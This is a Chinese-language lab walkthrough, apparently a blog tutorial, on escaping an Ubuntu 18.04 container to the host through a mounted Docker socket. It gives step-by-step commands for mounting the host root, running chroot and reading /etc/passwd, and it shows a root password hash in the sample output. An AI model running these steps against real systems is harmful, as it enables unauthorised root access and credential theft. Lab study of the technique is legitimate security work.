一、原理概述
Docker Socket(/var/run/docker.sock)是 Docker 守护进程与客户端通信的 UNIX 套接字文件。当 Ubuntu 18.04 容器挂载该文件时,容器内进程可通过 Docker API 操控宿主机 Docker 服务,进而创建挂载宿主机根目录的新容器,实现从容器到宿主机的权限逃逸。
二、环境准备(宿主机操作)
-
拉取 Ubuntu 18.04 镜像
1
docker pull ubuntu:18.04
-
启动挂载 Docker Socket 的容器
1
2# 关键:将宿主机docker.sock挂载到容器内相同路径
docker run -itd --name socket_escape -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04-
-itd:交互式后台运行,便于后续进入容器操作 -
-v:挂载宿主机 Docker Socket 到容器,是逃逸的核心前提
-
三、容器内环境配置
-
进入目标容器
1
docker exec -it socket_escape /bin/bash
-
安装 Docker 客户端 Ubuntu 18.04 需通过 apt 安装 Docker:
1
2
3
4
5
6
7
8
9
10
11
12
13
14# 更新软件源(Ubuntu 18.04推荐用apt-get)
apt-get update -y
# 安装必要依赖
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
# 添加Docker官方GPG密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
# 添加Docker软件源(适配Ubuntu 18.04的bionic版本)
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable"
# 安装Docker CE客户端
apt-get update -y && apt-get install -y docker-ce -
验证 Docker 客户端可用性
1
2docker --version # 显示版本信息即安装成功
docker ps # 能列出宿主机容器,证明已通过socket连接宿主机Docker服务-
示例输出:
-
四、逃逸步骤(容器内执行)
-
创建挂载宿主机根目录的新容器 利用宿主机 Docker 服务,创建一个将宿主机
/挂载到容器/host的新容器:1
docker run -it --rm -v /:/host ubuntu:18.04 /bin/bash
-
--rm:退出后自动清理,减少痕迹 -
-v /:/host:核心挂载,宿主机根目录映射到新容器/host
-
-
切换到宿主机根目录 在新容器内执行
chroot命令,将当前环境切换为宿主机文件系统:1
chroot /host
-
执行过程示例:
-
五、验证逃逸结果
执行以下命令确认已获取宿主机权限:
-
查看用户 ID(应为宿主机 root):
1
id
输出示例:
uid=0(root) gid=0(root) groups=0(root) -
查看宿主机 hostname:
1
hostname
输出示例:
6195a62efdbd -
查看宿主机用户信息:
1
cat /etc/passwd
输出包含宿主机本地用户(如
root、lang、hacker等),部分内容示例:1
2
3root:$6$Du1ukr7z$O3kiLXL/iyvOZTO7CYGsD2aePJ8Zp1ihpHwC9hi06Ng9xk5m1t8vehojD9Uhqcll17bI4UNdskCBBZqofrwGB1:0:0:root:/root:/bin/bash
lang:x:1000:1000:lang,,,:/home/lang:/bin/bash
hacker:x:1002:1002:,,,:/home/hacker:/bin/bash
六、清理操作
-
退出容器:连续执行
exit退出新容器和原始容器 -
删除容器
(宿主机执行):
1
docker rm -f socket_escape
